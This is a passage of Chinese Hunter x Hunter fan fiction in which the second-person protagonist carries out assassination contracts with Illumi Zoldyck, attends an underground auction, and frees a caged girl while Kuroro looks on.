“可以吗?太好了,谢谢您。”
……
“您好,请问是市长先生吗?”
“你是——你是怎么进来的!喂?管家!”
“我拜托管家先生带我来的啦。您不要再打电话了,这里的通讯已经被切断了呢。”
“喂?喂?……你到底是什么人?”
“原来如此,您找了很多帮手,这样很好,请他们都过来吧。”
……
「大哥,我这边结束了。」
你坐在窗台上,用随身携带的绷带一圈圈缠起手指。白色的绷带很快就被染红,你只好往上面再缠一层。
唉,包得好难看。
“额外的委托已经完成了吗?”你看向出现在房间里的人。
“嗯,送到了指定地点。”
你转头看向窗外,庄园大门前的喷泉边坐着一位金发的少女。
“……要把她留在那里呀。”
“这里是怎么回事?”
带着凉意的手指触碰到脸上的伤痕。
“光顾着对付那些念能力者了,市长先生在房间里布置了一些机关呢。毒性不强的……大哥不会怪我吧?”
温热的舌尖舔舐过你的脸颊。
你轻轻踢了踢他的腿。
“大哥真是的,我的血是不可以喝的啦。会长出不好的东西来的。”
……
好可怕的梦。
你醒来后第一时间摸了摸脸,又看了看手指。没有任何伤口。
“呼。”
你坐在床上回忆了一下内容。
嘶,抛开古怪的部分不谈,这个梦竟然很有逻辑。
比如睡醒之后想不起前一天发生的事,这个状况在你小时候经常出现。
又比如梦里面的你年纪应该不大,按正常的时间线,伊尔迷比你大7岁,梦里的他也的确是青年的样貌。
一定是因为昨天的某个时刻你真情实感的以为自己是揍敌客家的孩子……
“你醒了,准备一下跟我出发吧。”
你被伊尔迷的声音吓了一跳。
“好。那个,昨天晚上……”你扯了扯衣袖。
“管家帮你换的衣服。”
“哦。”你利落地爬起来。
任务地点在另一个城市,为了节省时间,你们乘坐了飞行船。
算上被幻影旅团挟持的那次,这是你第三次坐飞行船。不过你这次没空欣赏窗外的风景,你在仔细研读任务目标的资料。
“你今天看我的眼神跟往常不一样,为什么?”
“……有吗?”
论不眨眼的功力,你是不可能赢过伊尔迷的。你掐头去尾的跟他描述了你的梦。
“通常我们不会额外杀死任务目标之外的人。”
“你的意思是正常做法应该是潜入市长的房间,然后,”你做了一个抹脖子的动作,“直接离开?”
“嗯。”伊尔迷点了点头,“两个人分开行动,完成额外委托的时间也完全足够。”
的确,梦里面的你行动相当高调,简直是大张旗鼓的要把所有人都吸引过来。这很拉仇恨啊。
“学到了。”虽然是这种知识。
*
你在船上和伊尔迷确定了接下来的行动计划。这次的委托一共有两个,按照难易程度分配,委托A由你负责,伊尔迷协助,委托B则相反。
目标A是一名拥有执照的猎人,现阶段在梅叶城的一家公司做普通职员,履历没有任何异常,他的生活也与猎人给你的传统印象不同,非常稳定。
A和妻子还有两个孩子生活在一起,每天两点一线的往返于公司与家中,并且只会经过梅叶城的繁华街道。
你不知道如果是伊尔迷主导,他会在哪里动手,但按你目前的水平,为了避免不必要的麻烦,你最好选在人少的地方。
A的行动轨迹只在他女儿的生日当天有所变动。每年的那一天,A都会在下班后前往梅叶城的一家蛋糕店购买生日蛋糕,那家店的位置很偏僻。巧合的是,A的女儿今天过生日。
所以你们提前等在了那家蛋糕店里。
“欢迎光临。”
A在进门后的第一时间发现了不对劲,他的反应力在你见过的人中间绝对排得上号,但很可惜,从他踏入蛋糕店的那一刻,就已经在红线的控制范围内了。
“你是来杀我的吗?”
你很惊讶地听到他问出这句话。
“这家店的店主呢?她怎么样了?”
“她睡着了。”
在你们离开之前,那位老妇人都不会醒来。
或许是你表现出了能交流的样子,他沉默了一下,问你,“可以等到我的女儿过完生日吗?她刚满七岁。”
“或者,至少让我把蛋糕拿回家。”
“我很抱歉。”你摇摇头,抬起手,“晚安。”
……
红线只能控制住人的行动,无法直接夺取生命,也不能假手他人,否则就会断裂。
温热的血从目标的胸膛涌出,漫延过你的手背,啪嗒、啪嗒,滴在地上。你看着这样的景象,近乎目眩。
伊尔迷握住你的手,带着你将匕首从粘滞的血肉中拔出,目标靠着门板缓缓滑到地上。
“我……完成了吗?”
你很轻地呼吸了一下。
“嗯。你做得很好。”
这一次,他的夸奖没有给你带来任何安慰。
太轻易了。太过轻易,就会让人忘记,生命本该是珍贵的东西。你不能忘记。
“葵,我们该走了。”
“可以把这个拿过去吗?”
你指着桌上包装好的蛋糕。
“不可以,任何多余的事都不要做。”
你和他僵持了几秒。
“好,我知道了。”你点点头。
*
梅叶城的中央大街上挤满了人,似乎是在举办什么活动。你现在对它不感兴趣,拉着伊尔迷绕过了拥挤的人群。
“大姐姐,买花吗?一朵只要10戒尼。”浅金色头发的小姑娘挎着花篮,拦在你们面前,眼神期盼地看着你。
你正打算拒绝,身旁的伊尔迷伸手递出了一枚硬币。
“谢谢大哥哥。”小姑娘开心地接过,从花篮里小心翼翼地取出一枝花,“给——”
伊尔迷转头将
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它递给你。
“你买这个做什么?”
你叹了口气。
“当然是想让大姐姐开心一点啦!”小姑娘的脸上带着笑,“妈妈收到爸爸送的花就会很高兴,哪怕吵了架,闻到甜甜的香气,心情也会好起来啦!”
“……”你看了看手里的花,又看了看伊尔迷,“你真的是这么想的?”
“你在为蛋糕的事情生气。”伊尔迷肯定道。
“我没有生气,也不是因为蛋糕。”你平静地反驳。
你只是正常的情绪低落。
“嗯……大姐姐想吃蛋糕可以来我家哦。”小姑娘的目光在你们之间打转,好像很担心你们吵起来,“今天我过生日,爸爸说,他会买一个超——大的蛋糕回来的。”
“……”
你空着的手抖了一下。你把它藏到身后,勉强挤出一个笑。
“谢谢你,我和大哥哥没有吵架,我们就不去你家打扰啦。生日快乐。”
……
“你不喜欢花,那你喜欢别的什么?”
伊尔迷拿走了被你攥到变形的花枝,将绷带裹上你被花刺扎穿的手掌。
“我没有不喜欢花。你明明知道,”你看着那双古井无波的眼睛,内心升腾起一股怒气,“你就不能不管我吗?我一个人——我会调整好的!”
“你在撒谎。”
伊尔迷毫不客气地按了下你的掌心,伤口传来的痛意让你的表情扭曲了一下。
你咬着牙,一声不吭。
“下一个委托可以明天再做,告诉我,你喜欢什么?”
难道你说你喜欢钱他就会把钱包给你吗?不对,搞不好这家伙真的会给你,然后面无表情地问你为什么还是不高兴。
“我喜欢好吃的东西。正常的,没有添加任何毒药的那种。”你重点强调了后半句。
“好。”
……
于是你人生中第一次体验了旋转餐厅。
这栋建筑在外观上像一座灯塔,然而梅叶城是一个内陆城市。等你站到窗前,俯瞰着河流般交汇于塔底的街道,才隐约明白这样设计的缘由。倘若道路两旁的花树一齐开放,这里的确是一片海洋。
“真浪漫。”
记忆深处的声音这样说道。
“为了照亮没有海的……以灯塔为原型建造……
“每当我站在高处,就会感觉自身渺小。
“但在这里,很奇妙不是吗?明明是塔在自转,却像是整个世界围绕着我们旋转。”
你转过头,恍惚觉得有个人正站在身旁,透过记忆的河川,看着微笑的你。
“那你喜欢站在高处吗?”他问。
“喜欢。”
眼前的幻影如泡沫消弭,归于不见日光的瞳底。
“……我走神了吗?”你后退一步,面露歉意,“我们刚刚说到什么?”
“你刚刚在想什么?”
“记起了一点上个世界的事情……我好像来过类似的地方。”
伊尔迷不置可否地点点头。
“如果你喜欢高的地方,这次工作结束后,我们可以去天空竞技场。”
“天空,竞技场?”
“那栋楼有九百多米,如果报名成为参赛者,每升一次楼层都有奖金,你刚好也可以在那里提升格斗技。”
“如果我没有听错,你是在说,我?”你指着自己。
伊尔迷看了你一眼,像是在说“不然还有谁”。
“家里的训练都是从小开始的,以你的年龄很多都晚了,所以比起参照家族标准,我个人更倾向于用其他方法。”
“我同意。”
其实你自从上次偶然撞见奇犽训练就已经在担心了,把指甲拔掉让它重新生长什么的,你完全不想体验!
“可是,席巴先生,呃,爸爸他会同意吗?”
“如果你这次好好表现,说不定会?”
“……伊路,你刚刚是在讲冷笑话吗?”
“有吗?”
45.No.010 拍卖会
“真是出神入化。”
你对着镜子感叹。
明明只是用化妆技巧对面部进行了些许修饰,看起来就完全是另一个人了。
“记住我们的身份了吗?”
伊尔迷迅速地为自己做好伪装(捏完脸),从镜子前转身。
“了解。你是富商的儿子,我是你的保镖。”
你新奇地盯着他的脸,只有那双黑沉沉的眼睛能瞧出点破绽,如果是初次见面的人,对他的印象估计就只是“性格阴郁的少爷”。
“不过为什么不是富商的女儿和保镖呢?我觉得你看着比我能打。”
“你会跳舞吗?”
“不会。”
……好吧,明白了。
一个小时后,你们用伪造的邀请函顺利进入了目标B的所在地,位于梅叶城东南部的一幢山间别墅。
B是当地有名的商人,这幢别墅是他的私产,今晚明面上会在这里举办一场舞会,实际上,晚些时候在别墅的地下一层,有一场小型拍卖会。
这还是你……(又要说那句话了)……咳,你此前从未参加过这种活动,所以对此相当好奇。
作为一名保镖,你全程一言不发的跟在伊尔迷身后,用目光扫视着在场的客人们,以及大大小小的瓷盘上摆放着的精致餐点。你提前看过B的照片,暂时没有在场内发现他。
“你想吃什么?”伊尔迷停在一张餐台前。
“?”
你们出发前没吃晚饭,被他这么一问,你顿时有些跃跃欲试,但为了保持人设,你还是一本正经的问他,“可以吗少爷?”
得到肯定的回答后,你指了指离他最近的盘子。
“就是您手边的那个。”
你对这里的食物都很感兴趣,因为有很多你没见过,也看不出原材料的东西。你挨个尝了尝,味道都很不错。
你又看到一盘疑似刺身,却没有纹路的食物,好奇地问伊尔迷,“少爷,这是什么?”
伊尔迷夹起一块塞进嘴里。他几乎没怎么咀嚼,直接就吞咽下去。
“一种浆果,生长在优路比安大陆的纳西地区,海拔两千米的山上。”
欸,原来是水果。你尝试了一块,唔,口感还是很像刺身啊。
“这种浆果摘下来超过十个小时就会腐烂,所以运送时会储存在一种鱼的腹中,保持新鲜。”
“……”嘴里的东西变得有些难以下咽。
“浆果本身的颜色和鱼肉很相近,做成食物时,通常是一起处理。”
所以,它其实还是刺身?
不,也可能是鱼的胃和消化物。你产生了糟糕的联想,但还是逼迫自己把它吞下去。
“……”
“你怎么了?”
你捂住嘴,表情扭曲。因为,你噎住了。有点窒息,有点恶心,有点想吐,又吐不出来。
伊尔迷把你拽离了宴会大厅。
“吐出来。”
你努力了一会,痛苦地掐住自己的脖子,摇头表示做不到。
伊尔迷捏住你的下巴,迫使你张开嘴,直接将手指伸进去,抵到你的舌根。喉间的异物感让你产生了本能的反应——你在他手上吐了个昏天黑地。
*
虽然起因是听到了过分详细的说明,但你看着伊尔迷那双正在水下冲洗的手,还是产生了深深的愧疚感。
你竟然让那双堪称艺术品的手,碰到了你的呕吐物。你真该死啊。
“对不起,我保证不再乱吃东西了。”
你诚恳地递上提前准备好的餐巾。
“没事。”
伊尔迷面色平静地擦干手,看起来完全不生气(你迄今为止还没见过他生气的样子),但你还是良心不安,决定等任务结束后再认真地跟他道一次歉。
你们回到大厅时,舞会恰好开始,你一眼就看到了人群中的目标B。这时你想到了一个问题,如果要在舞会上动手,最方便的做法是伪装成舞伴吧?可是伊尔迷穿的是男装哎。
话说他二十多岁时的样子,就很适合穿女装……打住!
你跟着他一路走到角落,看到了不下三个对他感兴趣的年轻女性。或许可以邀请一位,在跳舞的过程中接近目标B?
“少爷,您要去跳舞吗?”你问道。
你不知道伊尔迷有没有听懂你的暗示,但他的确走到了一位女士面前,伸手邀请了对方。
那只手……你把不久前的画面扔出脑海。
你发现他们的位置离目标B有点远,伊尔迷没有告诉你他的具体计划,但如果不是在舞会,就是在接下来的拍卖会上动手了。
“看到那位少爷和别人跳舞,你不嫉妒吗?”
要不是这个角落里原先只有你一个人,你都意识不到来人是在跟你说话。
“嫉妒什么?”
你疑惑地看向端着香槟走近的男士。
“你是那位少爷的情人吧?先前在盥洗室……你们感情很好呢。”
他把杯子随手放在窗台上,翡翠色的眼中盛着笑意。
且不说你穿的是男装,他这个可疑的停顿,好像你和伊尔迷做了什么见不得人的事情一样。
“我跟少爷只是普通的雇佣关系。”
你警惕地看着对方靠近,跟你一样倚在墙边。
他弯着唇角,指了指自己的眼睛,神秘兮兮的说,“其实,我能看见人心。在那位少爷心中,你是很重要的存在。”
“你是说你有读心术?”你没太在意他说的话,只想知道这个人的目的究竟是什么,“那你说说看,我在想什么?”
“你在想,”他的目光在你胸前停了停,抬起眼,“这个不请自来的神棍,在打什么主意。”
“那个人呢?”你随手指了指候在场边的一位保镖。
“这趟差事拿了不少赏金,可以给茉莉买她最想要的项链了。茉莉是他女朋友的名字。”
你挑了下眉,他朝你眨眨眼。
“那边的女士呢?”你指向一位在沙发上稍作休憩的夫人。
“嗯……她在担心她的丈夫。保罗外出经商,已经将近三个月没有回来了。”
“担心她丈夫的安全?”
“当然是担心他在外面乱搞啦。”
……倒也合理。
“现在相信我了吗,这位小姐?”
“如果你事先查过资料,知道这些也没什么奇怪的。”你瞥了眼舞池中的目标B,状似无意地问道,“你知道克莱恩先生在想什么吗?”
“在我回答你之前,可不可以先认识一下呢?我叫尤加利。”
身旁的男士朝你伸出手。
“洛特丝。”你伸手和他交握了一下,“我记得尤加利是……”
“桉树。用植物取名很常见,你不也是吗?这位睡莲小姐。”
“哈。”你的假名的确是这个意思。
你收回手,指了指舞池,“现在可以回答我了吗,尤加利先生?”
“我以为你会对你家少爷的心思更感兴趣呢。”
你循着尤加利的目光看到了刚好背对着这里的伊尔迷。
“都说了我们只是普通的雇佣关系啦。就算重要,也只是基于这层关系的重要而已。”
“好吧。你不愿意承认就算了。”
尤加利耸耸肩,把目光投向这场舞会的主办者,克莱恩,对方刚结束一支舞,正对着侍者低声吩咐什么。
就算尤加利的耳力惊人,在舞会这种嘈杂的环境下,应该也很难听清楚克莱恩的声音。
你看着尤加利的眼睛。难道,这个人真的能看到什么吗?你悄悄的使用了「凝」,没有发现异常。
“他准备去金库检查一遍拍卖品,尤其是……最后的那件。”尤加利转过头,意味不明的笑了一下。
“最后的拍卖品?「箱中之手」吗?”你回忆起事先看过的拍卖会目录。
“不是哦。最后的那件,是今天下午刚送到的,废了很大力气才抓住呢。”
“是什么?你怎么知道的?”
“嘘,保留一点神秘感嘛,一会到现场就知道了。”尤加利将一根手指竖在唇前,“至于我是怎么知道的,我已经告诉你了呀,因为我能看见人心。”
*
伊尔迷回来之前,你都一个人靠在角落里思考尤加利告诉你的这个不知真假的消息。
尤加利在说完那些后,就拿起他的杯子说要去找些吃的,一会拍卖会上见云云。你觉得,他要么是个骗子,要么是个占卜师,你倾向于后者。
“刚刚来找你的人是谁?”
伊尔迷从场上退下,目标B也不见踪影,或许是去了金库。
“一个叫尤加利的神棍。”
你把刚才的对话简要转述给他。
“尤加利。”他重复了一遍。
“你听过这个名字?”
“不。”伊尔迷否认了,“你有什么感兴趣的拍品吗?”
“欸?少爷问我吗?”你差点就忘了自己的人设,都怪聊天氛围太轻松了。
“对,问你。”
“除了花瓶字画那些,别的我都感兴趣,您知道我是第一次参加嘛。”
“好。”
你等了半天也没听到他解释好什么。
伊尔迷在某些时候表现得很有聊天欲,某些时候说话又过分简洁。如果你现在问他,好什么?估计他会反问你,什么?
……还是不要再继续联想了。
场上的宾客逐渐变少,你们也在侍者的指引下踏上了前往拍卖会场的楼梯。
为了保护竞拍者的隐私,入场时每个人都被发了一张面具,以及一个写有特定号码的手举牌。
你们分到的面具是纯白色的,只有眼睛的部分露出来,嘴巴的位置则用黑色颜料涂抹出上翘或下弯的弧度,伊尔迷的那张是笑脸,你的则是哭脸。
不过,虽然在场的大家都戴了面具,座位也是分散的,但相互之间没有别的东西做遮挡,很容易知道对方是谁,只能说面具的作用聊胜于无。
顺便一提,你们的手举牌号码是44号,你很喜欢4这个数字,但这个号码莫名给你一种不吉利的感觉。
拍卖会的开头是一段无聊的
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开场白,大致意思是,尽情享受这个挥霍的夜晚吧!场上众人对此给予了热烈回应,仿佛是要当场撒钱。
在这样的气氛中,第一件拍品被推上了展台,那是一只在你看来平平无奇的花瓶。
拍卖师用慷慨激昂的语调介绍道,它来自于埃珍大陆北方一个名字很长(你没听清)的王国的遗址,被该王国历史记载中的一位十分美貌的王后用来做过腌菜。
你不敢相信自己的耳朵。
这样一只腌菜坛子,最终的成交价是3千万戒尼(注:只有一个人竞拍)。
“那个25号,为什么要买这个……花瓶?”
“他是茉伊拉王后的粉丝,致力于搜集王后生前使用过的东西。”伊尔迷看了一眼就告诉你。
“你事先查过吗?为什么我没看到这个信息?”
“嗯,你说不想看太厚的,所以我给你的是删减版。”
删减版……这么一说,你印象里的确有过类似的对话。
“那他为什么要加价呢?起拍价才2千万,又没有人跟他竞拍,他自己加了1千万。”
“是啊,为什么呢。”
“欸?”你扭头看向伊尔迷。
“嗯?”他也扭头看你。虽然他的脸被面具挡住,你却能想象到此刻他脸上的表情。
“没事。”你将脸转回展台的方向。
你只是这段时间以来,习惯了无论什么事都能从他那里得到答案,这可真是可怕的习惯。
*
一直到第五件拍品,才是你感兴趣的内容。那是一只装在透明罐子里的蓝色蝴蝶,随着它的上下飞舞,闪烁的磷光从蝶翅上扑簌簌的洒落。
“请看!这是今晚的五号拍品——「翌日的蝴蝶」!”
拍卖师走到罐子旁边,张开手臂,“这只蝴蝶来自东南大陆的流金湖,每天只需喂食一滴湖水即可存活。将它养在封闭的罐中,只要轻轻地在罐壁连敲三下,就可以预知明天的命运!”
“请看蝶翅上的这些磷粉,通常是蓝色,如果变为红色,意为厄运,变为金色,则是好运!现在由我来为大家演示它的效果。”
拍卖师用指尖在侧壁轻轻点了三下,罐中的蝴蝶扑闪着翅膀,由蓝色渐渐变为了金色。
“是好运!一定是因为诸位尊贵的客人!”拍卖师的声音拔高了好几个分贝,“现在开始竞拍!起拍价1亿!”
“1亿1千万!”
“1亿1千万一次!”
“1亿5千万!”
“2亿!”
“2亿一次!”
……
拍卖会场热火朝天,人们果然都对未来很感兴趣,哪怕只是一天的未来。
“你会好奇自己的未来吗?”
除去你跟他讲述来历的那次,伊尔迷从未问过你十年后的事。
“不会。”他不假思索道。
“欸?完全不会吗?比如像这样提前告诉你,明天会遇到好事或坏事?”这么一会的功夫,竞价可是飙到了10亿呀。
“太过在意明天的事,不就没办法活在今天了吗。”
“你突然说出了好有哲理的话!”
“你呢?”伊尔迷黑漆漆的眼睛透过面具看着你。
“我嘛……我应该是不想知道未来的。”你想了想,“万一未来很糟糕,不知道才有放手一搏的勇气。又或者,未来很美好,提前预知就像提前拆开了礼物,还有什么意思呢?”
没错,不可预知的未来才既恐怖又诱人,这是「未知」的魅力。
“所以说,我们很合拍。”
展台上的拍卖锤咚的敲了一下,你的注意力被吸引过去,听到拍卖师宣布,这件拍品以21亿8千万成交。
随后是第六件拍品。
“啊!”你猛然意识到一件事,随即压低声音,“如果克莱恩昨天用蝴蝶占卜过,岂不是会知道今天有危险?再不动手是不是来不及了?”
“他已经死了。”
你愣了一下。
“已经死了?什么时候?”
“入场之前。”
“欸——那我们还待在这里做什么?”你整个人都震惊了,“不危险吗?”
“他把自己锁在房间里,明天之前都不会有人发现。”伊尔迷若无其事地说道,“你不是对拍卖会感兴趣吗?有喜欢的可以拍下来。”
“啊这……”这就是揍敌客家的效率吗?
“可是,我没有钱啊?”你没有账户,打零工赚到的钱买礼物花掉了,目前是身无分文的状态。
伊尔迷拿出手机按了按,“这两单都已经结算了,一共是20亿6千3百万,够吗?”
他竟然问你够吗?你这辈子都没想过自己有天能以亿为单位花钱。
“但是这次我没有出力哎……”
原本你的委托就是从伊尔迷那里划来的,就算当成你自己的,肯定也是这单更贵。
“这有什么关系。”
他的语气怎么能跟分爆米花一样随便!这也大方过头了吧!既然如此你就不客气了!
“谢谢少爷!”
46.No.011 盗贼
你花了1亿3千万拍下了一颗宝石,它的直径约14mm,除了颜色很黑以外没有其他特点。
一开始有一位客人和你竞拍,竞价超过1亿后,她没有继续举牌。这位客人热衷于搜集各种宝石,但这颗的形状并不算完美,并且还有一颗镶嵌于王冠上的红宝石尚未登场,你猜测她是想要将资金留在那件拍品上。
这场拍卖会上的商品并没有完全按照目录的排序,而是在竞争激烈的拍品间随机穿插上一两件较为普通的(即没有特殊意义,也没有特殊功能的),大概是想让人始终对下一件抱有期待。
如果尤加利没有骗你,那么今晚一共会有31件拍品。在第二十件的竞价结束后,拍卖会进入了短暂的休息时间。这段时间是用来将前面的拍品交易给相应的买家,并由参加者自行决定是否要提前离场。大多数人都选择了留下,你们也不例外。
你拿到了那颗宝石,把它递给伊尔迷。
他的眼中流露出淡淡的疑惑。
“送给你的,作为那天的回礼。”
因为是花的他的钱给他买礼物,你有点不好意思地移开目光,“我没有特别想要的东西,只是对拍卖会感到新鲜而已。这颗宝石,我觉得它像你的眼睛。”
你等了一会,他从你的手上接过。
“好,我收到了。”
*
再开场时,气氛与之前相比有了明显的不同,你知道这是因为排在后面的十件都是很稀有的物品,并且与储存愿望的水晶瓶、某位歌手的绝版唱碟、墓葬中的金甲虫等等的性质完全不同。
二十一号拍品是一顶精致的王冠,上面一共镶嵌着十三颗大小不一的红宝石,正中的那颗呈水滴型,长度超过66mm。每一颗宝石都颜色纯净,在会场的灯光下如同流动的血液。
这是「杀戮女王的头冠」,王冠的发掘地在三百多年前正处于杀戮女王的统治期,当时每年都有近十万人被斩首,给这顶王冠染上了极度不详的色彩。传闻中,它会给拥有者带来血光之灾。
“30亿!”
拍卖师介绍完后,立刻有人举牌。是不久前与你竞拍的那位女士。她果然对这顶王冠志在必得。
你对这种东西一向持敬而远之的态度,而且你用「凝」看到,那顶王冠上缠绕着极其浓重的怨。它是真的很不详啊!
“原来还可以这样看,那些黑色的也是念吗?”伊尔迷注意到了你的举动。
“是死者的念。如果是因为爱意留下的倒没什么,这些因为恨意而残留的念,是非常可怕的诅咒。”
你不懂为什么会有人想要收藏这种会带来厄运的东西。
“51亿!还有人要加价吗?没有的话就是这位客人——”
“51亿5千万!”另一个人喊道。
“60亿!”
这一次无人竞价。最终,那位女士如愿拍得了她想要的东西。
王冠被推至幕后,下一件拍品是一只狭长的木箱。箱子上挂着一把锈迹斑斑的铁锁,锁头已经打开,戴着手套的工作人员小心翼翼地翻开箱盖,露出躺在漆黑箱体中的苍白人手。
「箱中之手」,又名「圣人之手」。据传,这是两百多年前,生活在西北大陆上的一位圣人的手。他天生就拥有治愈疾病的能力,只要将手抚上病人的头顶,就能缓解对方的苦痛。
这位圣人作为医者帮助了很多人,但在某一天,一伙受人雇佣的强盗劫掠了他所在的城镇,以镇民们的性命要挟他将双手伸入两个封闭的木箱。木箱仅在侧面开出了圆形的洞,谁也不知道里面会有什么。
那个人将手伸了进去,合拢的旋刀顷刻绞断了他的手臂。
这两只被“主动放弃”的圣人之手在离体后仍具有治愈的力量,并且只要留在箱中,就不会腐烂,于是两百年来,它们一直作为商品辗转在收藏家之间。展台上的是一只左手,右手则在几年前就被人买下,保存在另一个大陆。
你知道这样的事,人类有时会像获取动物皮毛那样,对自己的同类下手,有时甚至不是因为私欲,只是单纯的玩乐,就随意践踏了同类的生命。
而这位圣人……你能看到,那只手连同木箱都被纯白的气包裹,那是一股很纯净的力量,没有丝毫的怨。
后面的十件拍品,就是这种性质的东西。在拍卖会的目录上,不会写有太过详细的介绍。从王冠开始,这十件物品的竞价一路攀升,整个会场几乎陷入疯狂。
代替了「箱中之手」排在第三十位的是一本古书,名为「记录地狱之书」。书里的内容没有被展示出来,但你认为自己不会想要看到。
与这本书相比,排在它前一位的录像带则是真切的让你产生了直面地狱的感受。那盒录像带中记录了七件暴行,于现场播放了约十秒钟。
那个时候,你很后悔自己没有趁着中场休息直接离开。
*
终于,全部的三十件拍品都竞拍结束,而拍卖师仍留在台上。
“想必各位都有所发觉,刚刚的古书并非是本场拍卖会的最后一件商品,接下来的这件,是全世界独一无二的珍宝——”
随着拍卖师的话音,一个半人高,蒙着黑布的四方形物体被推至台前。黑布底下传来锁链碰撞的声响。
这是一件活的拍品。
全场都躁动起来。
你攥紧了双手。
“由我来为大家揭晓——最后的这件宝物名为,「蔷薇少女」!”
黑布被猛地掀开,露出下方的笼子和一个囚禁其中的人。一个活生生的人。
她的四肢都被锁住,面部戴着口枷,红色的长发垂落,身上是一件残破的白色衣裙。她不能被称作少女,这个年纪,还只是个小女孩而已。
砰!
笼子里的红发女孩挣扎了一下,将锁链摔得砰砰作响,怒睁的双瞳仿佛燃烧着火焰,唯一的发声部位被口枷阻隔,只能愤怒地瞪视着场下的人们。
“诸位,这件宝物来自——黑暗大陆!”
顿时全场哗然。
“黑暗大陆是什么地方?”
你皱着眉问。
这个世界的地图上明明只有六块大陆。
“那是不可以触碰的「未知」。”
伊尔迷的目光停留在台上,他的语气让你感觉不太舒服,那里隐藏的不是对未知的恐惧,像是另一种……
“她并不是人类,而是来自黑暗大陆的怪物!为了抓住她,甚至耗费了整整一支军队!”拍卖师高声道。
“一滴就足以使巨鲸麻痹的毒药,在她身上足足使用了10ml,才让她失去行动力。哪怕是被锁链束缚的现在,也不能对她掉以轻心,因为她仅凭腕力,就能将一个成年人的骨头捏至粉碎!”
会场上的众人议论纷纷。拍卖师在短暂的停顿后,话锋一转。
“但是各位也不必忧心,这是用特殊材料定制的笼子,她无法将身体伸出笼外,也无法逃脱。唯一的钥匙会在拍卖结束后交给相应的买家。那么现在,有人想要拥有这份恐怖而强大的力量吗?「蔷薇少女」的起拍价是——100亿!”
此起彼伏的竞价声中,你抓住了伊尔迷的手,郑重地看着他。
“伊路,我要做一件事。一件多余的事,但我一定要做。”
“不可以。”那张绘着笑脸的面具下,是一双没有任何情绪的眼睛。
“她很危险,所以不可以。”
“给我三十分钟,不,二十分钟就好。”你没有放弃,“那个女孩不是怪物,她是人类。”
四个月前你曾见过她,在与库洛洛重逢的机场。
“十五分钟。拍卖结束后的十五分钟,到时间这根针就会操控你,这样你也愿意吗?”伊尔迷摊开掌心。
“我愿意。”
*
为了这次的任务,你提前记住了别墅的地图,包括布置成拍卖会场的地下一层。展台的幕布后是一个暂时放置物品的空间,拍品不会在那里停留太久,一旦被人拍下,就会走最近的路线送回金库。直到买家付款,完成交易之前,它们都会留在金库里。
你想做的就是在这段时间内,把迪妮莎救出来。她看起来只是被笼子和锁链困住了,没有丧失行动能力,所以你真正需要做的是拿到钥匙,帮她解开束缚。
伊尔迷给你限定的时间是十五分钟,如果你实在来不及拿到钥匙,你觉得自己可以试着直接把笼子扛走。
竞拍尚未结束,你悄悄潜入了幕布后的空间,趁其他人不注意,出手打晕了一位工作人员,补上他的位置。
几分钟后,幕布外传来拍卖锤的一声敲击。与此同时,你的脖子后方传来轻微的刺痛感,这是伊尔迷在提醒你,倒计时开始。
重新盖上黑布的笼子从你面前经过,两名工作人员拉开尽头的大门,外面是通往金库的必经之路。拍卖师很快就讲完结束语,从台前退下,在他回到这里时,你拉动指尖的红线,将整个空间内的人都控制住。
“告诉我,钥匙在哪里?”
你用晚宴中顺来的餐刀抵住了拍卖师的脖子。
“什、什么钥匙?”
你毫不留情地划破了他的皮肤。
“告诉我,否则杀了你。”
在红线的控制下,他不能逃跑,也不能呼救。
“在……金库里。”
“
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带我去。”
“外面会,有保镖。”
“所以你要装得像一点,你也不想今天成为你人生中的最后一天吧?”
在你的威胁下,拍卖师答应了。你控制着其他人陷入沉睡,然后拉开大门。
外面是一地的尸体。
!
难道有人捷足先登了?!
你一把揪住拍卖师的衣领,提着他在走廊上狂奔,通往金库的路上全是死去的保镖和工作人员,无一幸免。金库大门敞开,你首先看到了距离入口处不远的笼子,而后是背对着你站在拍卖品之间的黑衣人。
你松开手,拍卖师趴到地上狂吐。
“同行?”你活动了一下手腕,警惕地看着那个人。
对方合上手里的书,转过身来,露出一张介于少年与青年之间的,你绝对不会忘记的脸。
靠,是库洛洛。
你的第一反应是“完了”,随即想起现在是十年前,他不认识你,并且你也没有感觉到有其他旅团成员的存在。
一对一不用怕他!
但是如果不用打起来就更好了,毕竟你时间紧迫。
“喂,这里的拍卖品你想要的随便拿走,我只要这一样。”你指着迪妮莎的笼子。
“听你的语气,你认识我?”
库洛洛朝你走了几步,停在一个不近不远的位置。
“流星街可没人不知道你。”
你采用了模棱两可的说法。脖子后面刺痛了一下,表示倒计时过去了一半。
“如果我们在这里打起来,势必会惊动上面的人,到时候哪怕是你也很难全身而退吧?反正我们目的一致,不如各退一步?”
你盯着库洛洛神情难辨的脸,默数着秒数,三十秒之内他不给你明确的答复,你就要直接动手了。
“正有此意。”
在你数到第八秒时,库洛洛微笑了一下,做出一个邀请的动作。你立刻拉起瘫软在地的拍卖师,带着他走进金库,停在笼子边。
“你去把钥匙拿过来,快去!”
拍卖师抖着腿往里面走。
你扯下黑布,笼中的女孩早已抬起头,看向你的方向。你隐隐松了口气,说实话,你很担心发生笼子被掉包之类的情况。
“别怕,很快就能离开这里了。”
你不知道她有没有听懂你说的话,那双绯色的眼瞳一瞬不瞬地盯着你,目光随你转动。
“她是你的妹妹吗?”
库洛洛悠闲地靠在一旁,随意翻动着手里的书,你注意到那似乎就是这场拍卖会上的「记录地狱之书」。
“不是。”她是你未来的女朋友。
不知为何,你的心情有点一言难尽。
“给……”
面色惨白的拍卖师伸出手,在你接过钥匙的瞬间两眼一翻晕倒在地。你有点同情他,但你现在顾不上管他,反正等他明天醒来就会发现,同事和老板都没了。
“你也是念能力者吧,你的能力是什么?”库洛洛的语气很随意。
你把钥匙插进锁孔,随口乱说,“我能看透人心。”
“哦?那你知道我在想什么吗?”
咔哒,锁开了。
你抬头看了库洛洛一眼,随后打开笼子,弯腰把缩在里面的迪妮莎拽出来。
她的双手双脚都被锁住,这些锁链似乎是因为和笼子连在一起才让她无法挣脱。在笼子被打开后,上面代表着制约的气也都消失了。
“你正在想,要怎么利用我。”
你扯断了那些链条。迪妮莎自己捏碎了镣铐,扯下口枷,她的脸上被勒出了深深的印痕,但她毫不在意,高兴地活动起重获自由的身躯。
“哈哈,怎么会呢?我是在想,我们不如交个朋友。我还不知道你的名字呢。”
库洛洛脸上带着友好的笑容,朝你伸出右手。
他也不看看场合!都要跑路了,还整这些没用的!
“你要的东西都拿完了吗?很快就会有人来了。”
插进后颈的念针开始跳动,这是最后一分钟的倒计时。你拉过一旁的迪妮莎,示意她趴到你的背上。
